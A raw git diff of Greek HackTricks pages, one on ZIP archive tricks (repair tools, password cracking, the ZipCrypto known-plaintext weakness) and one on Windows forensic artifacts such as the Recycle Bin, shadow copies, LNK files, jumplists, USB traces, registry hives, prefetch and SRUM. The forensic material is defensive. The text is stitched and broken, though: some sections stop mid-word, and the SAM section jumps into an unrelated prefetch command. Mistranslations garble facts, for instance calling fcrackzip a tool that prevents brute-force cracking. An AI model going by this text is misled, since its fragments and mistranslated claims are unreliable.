* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**Hack
|
|
@ -0,0 +1,42 @@
|
||||||
|
# Κόλπα με αρχεία ZIP
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Συμμετάσχετε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
**Εργαλεία γραμμής εντολών** για τη διαχείριση **αρχείων ZIP** είναι απαραίτητα για τη διάγνωση, επισκευή και αποκρυπτογράφηση αρχείων ZIP. Παρακάτω παρουσιάζονται μερικά βασικά εργαλεία:
|
||||||
|
|
||||||
|
- **`unzip`**: Αποκαλύπτει τον λόγο για τον οποίο ένα αρχείο ZIP δεν αποσυμπιέζεται.
|
||||||
|
- **`zipdetails -v`**: Παρέχει λεπτομερή ανάλυση των πεδίων της μορφής του αρχείου ZIP.
|
||||||
|
- **`zipinfo`**: Καταγράφει τα περιεχόμενα ενός αρχείου ZIP χωρίς να τα εξάγει.
|
||||||
|
- **`zip -F input.zip --out output.zip`** και **`zip -FF input.zip --out output.zip`**: Προσπαθούν να επιδιορθώσουν κατεστραμμένα αρχεία ZIP.
|
||||||
|
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Ένα εργαλείο για την αποτροπή βίαιης διάρρηξης κωδικών πρόσβασης αρχείων ZIP, αποτελεσματικό για κωδικούς πρόσβασης έως περίπου 7 χαρακτήρες.
|
||||||
|
|
||||||
|
Η [προδιαγραφή της μορφής αρχείου Zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) παρέχει λεπτομερείς πληροφορίες σχετικά με τη δομή και τα πρότυπα των αρχείων ZIP.
|
||||||
|
|
||||||
|
Είναι σημαντικό να σημειωθεί ότι τα αρχεία ZIP που προστατεύονται με κωδικό πρόσβασης **δεν κρυπτογραφούν τα ονόματα αρχείων ή το μέγεθος των αρχείων** που περιέχουν, μια ευπάθεια ασφαλείας που δεν μοιράζονται τα αρχεία RAR ή 7z που κρυπτογραφούν αυτές τις πληροφορίες. Επιπλέον, τα αρχεία ZIP που κρυπτογραφούνται με την παλαιότερη μέθοδο ZipCrypto είναι ευάλωτα σε μια **επίθεση κειμένου ανοικτού κειμένου** εάν υπάρχει διαθέσιμο ένα μη κρυπτογραφημένο αντίγραφο ενός συμπιεσμένου αρχείου. Αυτή η επίθεση εκμεταλλεύεται το γνωστό περιεχόμενο για να αποκρυπτογραφήσει τον κωδικό πρόσβασης του αρχείου ZIP, μια ευπάθεια που αναλύεται λεπτομερώς στο [άρθρο του HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) και εξηγείται περαιτέρω σε [αυτό το ακαδημαϊκό άρθρο](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). Ωστόσο, τα αρχεία ZIP που προστατεύονται με κρυπτογράφηση **AES-256** είναι ανθεκτικά σε αυτήν την επίθεση κειμένου ανοικτού κειμένου, καθιστώντας σαφές τον σημαντικό ρόλο της επιλογής ασφαλών μεθόδων κρυπτογράφησης για ευαίσθητα δεδομένα.
|
||||||
|
|
||||||
|
## Αναφορές
|
||||||
|
* [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Συμμετάσχετε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο
|
|
@ -0,0 +1,365 @@
|
||||||
|
# Windows Artifacts
|
||||||
|
|
||||||
|
## Αρχεία Windows
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Γενικά Αρχεία Windows
|
||||||
|
|
||||||
|
### Ειδοποιήσεις Windows 10
|
||||||
|
|
||||||
|
Στη διαδρομή `\Users\<όνομα_χρήστη>\AppData\Local\Microsoft\Windows\Notifications` μπορείτε να βρείτε τη βάση δεδομένων `appdb.dat` (πριν την επέτειο των Windows) ή `wpndatabase.db` (μετά την επέτειο των Windows).
|
||||||
|
|
||||||
|
Μέσα σε αυτήν τη βάση δεδομένων SQLite, μπορείτε να βρείτε τον πίνακα `Notification` με όλες τις ειδοποιήσεις (σε μορφή XML) που μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες.
|
||||||
|
|
||||||
|
### Χρονολόγιο
|
||||||
|
|
||||||
|
Το Χρονολόγιο είναι μια χαρακτηριστική των Windows που παρέχει **χρονολογική ιστορία** των επισκεφθέντων ιστοσελίδων, των επεξεργασμένων εγγράφων και των εκτελεσμένων εφαρμογών.
|
||||||
|
|
||||||
|
Η βάση δεδομένων βρίσκεται στη διαδρομή `\Users\<όνομα_χρήστη>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Αυτή η βάση δεδομένων μπορεί να ανοιχτεί με ένα εργαλείο SQLite ή με το εργαλείο [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **που δημιουργεί 2 αρχεία που μπορούν να ανοίξουν με το εργαλείο** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
|
||||||
|
|
||||||
|
### ADS (Εναλλακτικά Ρεύματα Δεδομένων)
|
||||||
|
|
||||||
|
Τα κατεβασμένα αρχεία μπορεί να περιέχουν την **Ζώνη Αναγνώρισης ADS** που υποδεικνύει **πώς** έγινε το **κατέβασμα** από το εταιρικό δίκτυο, το διαδίκτυο κ.λπ. Ορισμένο λογισμικό (όπως οι περιηγητές) συνήθως προσθέτουν ακόμη **περισσότερες** **πληροφορίες** όπως η **URL** από όπου κατέβηκε το αρχείο.
|
||||||
|
|
||||||
|
## **Αντίγραφα Ασφαλείας Αρχείων**
|
||||||
|
|
||||||
|
### Κάδος Ανακύκλωσης
|
||||||
|
|
||||||
|
Στα Vista/Win7/Win8/Win10 ο **Κάδος Ανακύκλωσης** βρίσκεται στον φάκελο **`$Recycle.bin`** στη ρίζα του δίσκου (`C:\$Recycle.bin`).\
|
||||||
|
Όταν ένα αρχείο διαγράφεται σε αυτόν τον φάκελο, δημιουργούνται 2 συγκεκριμένα αρχεία:
|
||||||
|
|
||||||
|
* `$I{id}`: Πληροφορίες αρχείου (ημερομηνία διαγραφής)
|
||||||
|
* `$R{id}`: Περιεχόμενο του αρχείου
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (486).png>)
|
||||||
|
|
||||||
|
Έχοντας αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε το εργαλείο [**Rifiuti**](https://github.com/abelcheung/rifiuti2) για να πάρετε την αρχική διεύθυνση των διαγραμμένων αρχείων και την ημερομηνία διαγραφής τους (χρησιμοποιήστε το `rifiuti-vista.exe` για Vista – Win10).
|
||||||
|
|
||||||
|
```
|
||||||
|
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
|
||||||
|
```
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>)
|
||||||
|
|
||||||
|
### Αντίγραφα Σκιών Όγκου
|
||||||
|
|
||||||
|
Το Shadow Copy είναι μια τεχνολογία που περιλαμβάνεται στα Microsoft Windows και μπορεί να δημιουργήσει αντίγραφα ασφαλείας ή στιγμιότυπα αρχείων ή όγκων υπολογιστή, ακόμα και όταν αυτά χρησιμοποιούνται.
|
||||||
|
|
||||||
|
Αυτά τα αντίγραφα ασφαλείας συνήθως βρίσκονται στον φάκελο `\System Volume Information` στη ρίζα του συστήματος αρχείων και το όνομά τους αποτελείται από τα **UIDs** που φαίνονται στην παρακάτω εικόνα:
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (520).png>)
|
||||||
|
|
||||||
|
Με την επισύναψη της εικόνας ανάκτησης με το **ArsenalImageMounter**, το εργαλείο [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) μπορεί να χρησιμοποιηθεί για να επιθεωρήσει ένα αντίγραφο σκιάς και ακόμα και να **εξάγει τα αρχεία** από τα αντίγραφα ασφαλείας του αντιγράφου σκιάς.
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (521).png>)
|
||||||
|
|
||||||
|
Η καταχώρηση του μητρώου `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` περιέχει τα αρχεία και τα κλειδιά **που δεν πρέπει να δημιουργηθούν αντίγραφα ασφαλείας**:
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (522).png>)
|
||||||
|
|
||||||
|
Το μητρώο `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` περιέχει επίσης πληροφορίες διαμόρφωσης σχετικά με τα `Volume Shadow Copies`.
|
||||||
|
|
||||||
|
### Αρχεία Αυτόματης Αποθήκευσης Office
|
||||||
|
|
||||||
|
Μπορείτε να βρείτε τα αρχεία αυτόματης αποθήκευσης του Office στο: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
||||||
|
|
||||||
|
## Στοιχεία Shell
|
||||||
|
|
||||||
|
Ένα στοιχείο του κελύφους είναι ένα στοιχείο που περιέχει πληροφορίες για το πώς να αποκτήσετε πρόσβαση σε ένα άλλο αρχείο.
|
||||||
|
|
||||||
|
### Πρόσφατα Έγγραφα (LNK)
|
||||||
|
|
||||||
|
Τα Windows **δημιουργούν αυτόματα** αυτές τις **συντομεύσεις** όταν ο χρήστης **ανοίγει, χρησιμοποιεί ή δημιουργεί ένα αρχείο** στα παρακάτω μέρη:
|
||||||
|
|
||||||
|
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
|
||||||
|
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
|
||||||
|
|
||||||
|
Όταν δημιουργείται ένας φάκελος, δημιουργείται επίσης μια σύνδεση προς τον φάκελο, προς τον γονικό φάκελο και τον προγονικό φάκελο.
|
||||||
|
|
||||||
|
Αυτά τα αυτόματα δημιουργημένα αρχεία συνδέσμων **περιέχουν πληροφορίες για την προέλευση** όπως αν είναι **αρχείο** ή **φάκελος**, **MAC** **χρόνοι** αυτού του αρχείου, **πληροφορίες όγκου** για το πού αποθηκεύεται το αρχείο και **φάκελος του αρχείου προορισμού**. Αυτές οι πληροφορίες μπορούν να είναι χρήσιμες για την ανάκτηση αυτών των αρχείων σε περίπτωση που αφαιρεθούν.
|
||||||
|
|
||||||
|
Επίσης, η **ημερομηνία δημιουργίας του αρχείου συνδέσμου** είναι η πρώτη **φορά** που το αρχικό αρχείο **χρησιμοποιήθηκε** και η **ημερομηνία τροποποίησης** του αρχείου συνδέσμου είναι η **τελευταία** **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο.
|
||||||
|
|
||||||
|
Για να επιθεωρήσετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε το [**LinkParser**](http://4discovery.com/our-tools/).
|
||||||
|
|
||||||
|
Σε αυτά τα εργαλεία θα βρείτε **2 σύνολα** χρονοσημάτων:
|
||||||
|
|
||||||
|
* **Πρώτο Σύνολο:**
|
||||||
|
|
||||||
|
1. FileModifiedDate
|
||||||
|
2. FileAccessDate
|
||||||
|
3. FileCreationDate
|
||||||
|
|
||||||
|
* **Δεύτερο Σύνολο:**
|
||||||
|
|
||||||
|
1. LinkModifiedDate
|
||||||
|
2. LinkAccessDate
|
||||||
|
3. LinkCreationDate.
|
||||||
|
|
||||||
|
Το πρώτο σύνολο χρονοσημάτων αναφέρεται στα **χρονοσήματα του ίδιου του αρχείου**. Το δεύτερο σύνολο αναφέρεται στα **χρονοσήματα του συνδεδεμένου αρχείου**.
|
||||||
|
|
||||||
|
Μπορείτε να λάβετε τις ίδιες πληροφορίες εκτελώντας το εργαλείο γραμμής εντολών των Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
|
||||||
|
|
||||||
|
```
|
||||||
|
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
||||||
|
```
|
||||||
|
|
||||||
|
Σε αυτήν την περίπτωση, οι πληροφορίες θα αποθηκευτούν σε ένα αρχείο CSV.
|
||||||
|
|
||||||
|
### Jumplists
|
||||||
|
|
||||||
|
Αυτές είναι οι πρόσφατες αρχεία που υποδεικνύονται ανά εφαρμογή. Είναι η λίστα των **πρόσφατων αρχείων που χρησιμοποιήθηκαν από μια εφαρμογή** στην οποία μπορείτε να έχετε πρόσβαση σε κάθε εφαρμογή. Μπορούν να δημιουργηθούν **αυτόματα ή να είναι προσαρμοσμένα**.
|
||||||
|
|
||||||
|
Οι **αυτόματα δημιουργημένες jumplists** αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Οι jumplists ονομάζονται ακολουθώντας τη μορφή `{id}.autmaticDestinations-ms` όπου το αρχικό ID είναι το ID της εφαρμογής.
|
||||||
|
|
||||||
|
Οι προσαρμοσμένες jumplists αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` και δημιουργούνται από την εφαρμογή συνήθως επειδή έχει συμβεί κάτι **σημαντικό** με το αρχείο (ίσως έχει επισημανθεί ως αγαπημένο)
|
||||||
|
|
||||||
|
Ο **χρόνος δημιουργίας** οποιασδήποτε jumplist υποδεικνύει το **πρώτο χρόνο πρόσβασης στο αρχείο** και ο **χρόνος τροποποίησης την τελευταία φορά**.
|
||||||
|
|
||||||
|
Μπορείτε να επιθεωρήσετε τις jumplists χρησιμοποιώντας το [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (474).png>)
|
||||||
|
|
||||||
|
(_Σημειώστε ότι οι χρονοσφραγίδες που παρέχονται από το JumplistExplorer αναφέρονται στο ίδιο το αρχείο jumplist_)
|
||||||
|
|
||||||
|
### Shellbags
|
||||||
|
|
||||||
|
[**Ακολουθήστε αυτόν τον σύνδεσμο για να μάθετε τι είναι οι shellbags.**](interesting-windows-registry-keys.md#shellbags)
|
||||||
|
|
||||||
|
## Χρήση των USB των Windows
|
||||||
|
|
||||||
|
Είναι δυνατό να ανιχνευθεί η χρήση μιας συσκευής USB χάρη στη δημιουργία:
|
||||||
|
|
||||||
|
* Φακέλου Πρόσφατων Windows
|
||||||
|
* Φακέλου Πρόσφατων Microsoft Office
|
||||||
|
* Jumplists
|
||||||
|
|
||||||
|
Σημειώστε ότι ορισμένα αρχεία LNK αντί να δείχνουν στην αρχική διαδρομή, δείχνουν στον φάκελο WPDNSE:
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (476).png>)
|
||||||
|
|
||||||
|
Τα αρχεία στον φάκελο WPDNSE είναι αντίγραφα των αρχικών, οπότε δεν θα επιβιώσουν μετά από επανεκκίνηση του υπολογιστή και το GUID προέρχεται από ένα shellbag.
|
||||||
|
|
||||||
|
### Πληροφορίες Καταχώρισης Μητρώου
|
||||||
|
|
||||||
|
[Ελέγξτε αυτήν τη σελίδα για να μάθετε](interesting-windows-registry-keys.md#usb-information) ποια κλειδιά του μητρώου περιέχουν ενδιαφέρουσες πληροφορίες σχετικά με συνδεδεμένες συσκευές USB.
|
||||||
|
|
||||||
|
### setupapi
|
||||||
|
|
||||||
|
Ελέγξτε το αρχείο `C:\Windows\inf\setupapi.dev.log` για να λάβετε τις χρονοσφραγίδες σχετικά με το πότε παρήχθη η σύνδεση USB (αναζητήστε το `Section start`).
|
||||||
|
|
||||||
|
![](https://github.com/carlospolop/hacktricks/blob/gr/.gitbook/assets/image%20\(477\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(3\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(14\).png)
|
||||||
|
|
||||||
|
### USB Detective
|
||||||
|
|
||||||
|
[**USBDetective**](https://usbdetective.com) μπορεί να χρησιμοποιηθεί για να λάβετε πληροφορίες σχετικά με τις συσκευές USB που έχουν συνδεθεί σε μια εικόνα.
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (483).png>)
|
||||||
|
|
||||||
|
### Καθαρισμός Plug and Play
|
||||||
|
|
||||||
|
Η προγραμματισμένη εργασία γνωστή ως 'Καθαρισμός Plug and Play' έχει σχεδιαστεί κυρίως για την αφαίρεση παλαιών εκδόσεων οδηγών. Αντίθετα με τον καθορισμένο σκοπό της διατήρησης της τελευταίας έκδοσης του πακέτου οδηγών, διαδικτυακές πηγές υποδεικνύουν ότι στοχεύει επίσης σε οδηγούς που έχουν μείνει αδρανείς για 30 ημέρες. Ως εκ τούτου, οδηγοί για αφαιρούμενες συσκευές που δεν έχουν συνδεθεί τις τελευταίες 30 ημέρες μπορεί να διαγ
|
||||||
|
|
||||||
|
### Αρχεία OST του Microsoft Outlook
|
||||||
|
|
||||||
|
Ένα αρχείο **OST** δημιουργείται από το Microsoft Outlook όταν ρυθμίζεται με **IMAP** ή έναν διακομιστή **Exchange**, αποθηκεύοντας παρόμοιες πληροφορίες με ένα αρχείο PST. Αυτό το αρχείο συγχρονίζεται με τον διακομιστή, διατηρώντας δεδομένα για **τους τελευταίους 12 μήνες** με μέγιστο μέγεθος **50GB**, και βρίσκεται στον ίδιο φάκελο με το αρχείο PST. Για να δείτε ένα αρχείο OST, μπορείτε να χρησιμοποιήσετε το [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
|
||||||
|
|
||||||
|
### Ανάκτηση Συνημμένων
|
||||||
|
|
||||||
|
Χαμένα συνημμένα μπορεί να ανακτηθούν από:
|
||||||
|
|
||||||
|
* Για **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
|
||||||
|
* Για **IE11 και νεότερες εκδόσεις**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
|
||||||
|
|
||||||
|
### Αρχεία MBOX του Thunderbird
|
||||||
|
|
||||||
|
Το **Thunderbird** χρησιμοποιεί αρχεία **MBOX** για την αποθήκευση δεδομένων, τα οποία βρίσκονται στη διαδρομή `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
|
||||||
|
|
||||||
|
### Μικρογραφίες Εικόνων
|
||||||
|
|
||||||
|
* **Windows XP και 8-8.1**: Η πρόσβαση σε ένα φάκελο με μικρογραφίες δημιουργεί ένα αρχείο `thumbs.db` που αποθηκεύει προεπισκοπήσεις εικόνων, ακόμα και μετά τη διαγραφή τους.
|
||||||
|
* **Windows 7/10**: Το `thumbs.db` δημιουργείται όταν προσπελαύνεται μέσω δικτύου μέσω της διαδρομής UNC.
|
||||||
|
* **Windows Vista και νεότερες εκδόσεις**: Οι προεπισκοπήσεις μικρογραφιών είναι κεντρικές στο `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` με αρχεία με το όνομα **thumbcache\_xxx.db**. Τα εργαλεία [**Thumbsviewer**](https://thumbsviewer.github.io) και [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) χρησιμοποιούνται για την προβολή αυτών των αρχείων.
|
||||||
|
|
||||||
|
### Πληροφορίες Καταγραφής των Windows Registry
|
||||||
|
|
||||||
|
Το Windows Registry, που αποθηκεύει εκτεταμένα δεδομένα δραστηριότητας του συστήματος και των χρηστών, περιέχεται σε αρχεία στις παρακάτω τοποθεσίες:
|
||||||
|
|
||||||
|
* `%windir%\System32\Config` για διάφορα υποκλειδιά `HKEY_LOCAL_MACHINE`.
|
||||||
|
* `%UserProfile%{User}\NTUSER.DAT` για το `HKEY_CURRENT_USER`.
|
||||||
|
* Τα Windows Vista και νεότερες εκδόσεις δημιουργούν αντίγραφα ασφαλείας των αρχείων καταγραφής του `HKEY_LOCAL_MACHINE` στο `%Windir%\System32\Config\RegBack\`.
|
||||||
|
* Επιπλέον, πληροφορίες εκτέλεσης προγραμμάτων αποθηκεύονται στο `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` από τα Windows Vista και τον διακομιστή Windows 2008 και μετά.
|
||||||
|
|
||||||
|
### Εργαλεία
|
||||||
|
|
||||||
|
Ορισμένα εργαλεία είναι χρήσιμα για την ανάλυση των αρχείων καταγραφής του registry:
|
||||||
|
|
||||||
|
* **Επεξεργαστής Καταγραφής**: Είναι εγκατεστημένο στα Windows. Είναι μια γραφική διεπαφή χρήστη για την περιήγηση στο Windows registry της τρέχουσας συνεδρίας.
|
||||||
|
* [**Εξερευνητής Καταγραφής**](https://ericzimmerman.github.io/#!index.md): Σας επιτρέπει να φορτώσετε το αρχείο καταγραφής και να περιηγηθείτε μέσω του με γραφική διεπαφή. Περιλαμβάνει επίσης σελιδοδείκτες που επισημαίνουν κλειδιά με ενδιαφέρουσες πληροφορίες.
|
||||||
|
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Και πάλι, διαθέτει μια γραφική διεπαφή που επιτρέπει την περιήγηση μέσω του φορτωμένου καταγραφής και περιλαμβάνει επεκτάσεις που επισημαίνουν ενδιαφέρουσες πληροφορίες μέσα στο φορτωμένο καταγραφή.
|
||||||
|
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Ένα άλλο εφαρμογή με γραφική διεπαφή που μπορεί να εξάγει τις σημαντικές πληροφορίες από το φορτωμένο καταγραφή.
|
||||||
|
|
||||||
|
### Ανάκτηση Διαγραμμένου Στοιχείου
|
||||||
|
|
||||||
|
Όταν ένα κλειδί διαγράφεται, σημειώνεται ως τέτοιο, αλλά μέχρι να χρειαστεί ο χώρος που καταλαμβάνει, δεν θα αφαιρεθεί. Επομένως, χρησιμοποιώντας εργαλεία όπως ο **Εξερευνητής Καταγραφής**, είναι δυνατή η ανάκτηση αυτών των διαγραμμένων κλειδιών.
|
||||||
|
|
||||||
|
### Χρόνος Τελευταίας Εγγραφής
|
||||||
|
|
||||||
|
Κάθε Κλειδί-Τιμή περιέχει ένα **χρονικό στιγμιότυπο** που υποδεικνύει την τελευταία φορά που τροποποιήθηκε.
|
||||||
|
|
||||||
|
### SAM
|
||||||
|
|
||||||
|
Το αρχείο/hive **SAM** περιέχει τους κατακόρυφους και τους κωδικούς πρόσβασης των χρηστών του συστήματος.
|
||||||
|
|
||||||
|
Στο \`SAM\Domains\Account
|
||||||
|
|
||||||
|
```bash
|
||||||
|
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
|
||||||
|
```
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (487).png>)
|
||||||
|
|
||||||
|
### Superprefetch
|
||||||
|
|
||||||
|
Το **Superprefetch** έχει τον ίδιο στόχο με το prefetch, να **φορτώνει τα προγράμματα πιο γρήγορα** προβλέποντας τι θα φορτωθεί επόμενο. Ωστόσο, δεν αντικαθιστά την υπηρεσία prefetch.\
|
||||||
|
Αυτή η υπηρεσία θα δημιουργήσει αρχεία βάσης δεδομένων στο `C:\Windows\Prefetch\Ag*.db`.
|
||||||
|
|
||||||
|
Σε αυτές τις βάσεις δεδομένων μπορείτε να βρείτε το **όνομα** του **προγράμματος**, τον **αριθμό** των **εκτελέσεων**, τα **ανοιγμένα αρχεία**, το **επίπεδο πρόσβασης** στον **δίσκο**, την **πλήρη διαδρομή**, τα **χρονικά πλαίσια** και τις **χρονοσφραγίδες**.
|
||||||
|
|
||||||
|
Μπορείτε να αποκτήσετε πρόσβαση σε αυτές τις πληροφορίες χρησιμοποιώντας το εργαλείο [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
|
||||||
|
|
||||||
|
### SRUM
|
||||||
|
|
||||||
|
Το **System Resource Usage Monitor** (SRUM) **παρακολουθεί** τους **πόρους** που **καταναλώνονται από ένα διεργασία**. Εμφανίστηκε στο W8 και αποθηκεύει τα δεδομένα σε μια βάση δεδομένων ESE που βρίσκεται στο `C:\Windows\System32\sru\SRUDB.dat`.
|
||||||
|
|
||||||
|
Παρέχει τις εξής πληροφορίες:
|
||||||
|
|
||||||
|
* AppID και Διαδρομή
|
||||||
|
* Χρήστης που εκτέλεσε τη διεργασία
|
||||||
|
* Απεσταλμένα Bytes
|
||||||
|
* Ληφθέντα Bytes
|
||||||
|
* Διεπαφή Δικτύου
|
||||||
|
* Διάρκεια σύνδεσης
|
||||||
|
* Διάρκεια διεργασίας
|
||||||
|
|
||||||
|
Αυτές οι πληροφορίες ενημερώνονται κάθε 60 λεπτά.
|
||||||
|
|
||||||
|
Μπορείτε να αποκτήσετε τα δεδομένα από αυτό το αρχείο χρησιμοποιώντας το εργαλείο [**srum\_dump**](https://github.com/MarkBaggett/srum-dump).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
|
||||||
|
```
|
||||||
|
|
||||||
|
### AppCompatCache (ShimCache)
|
||||||
|
|
||||||
|
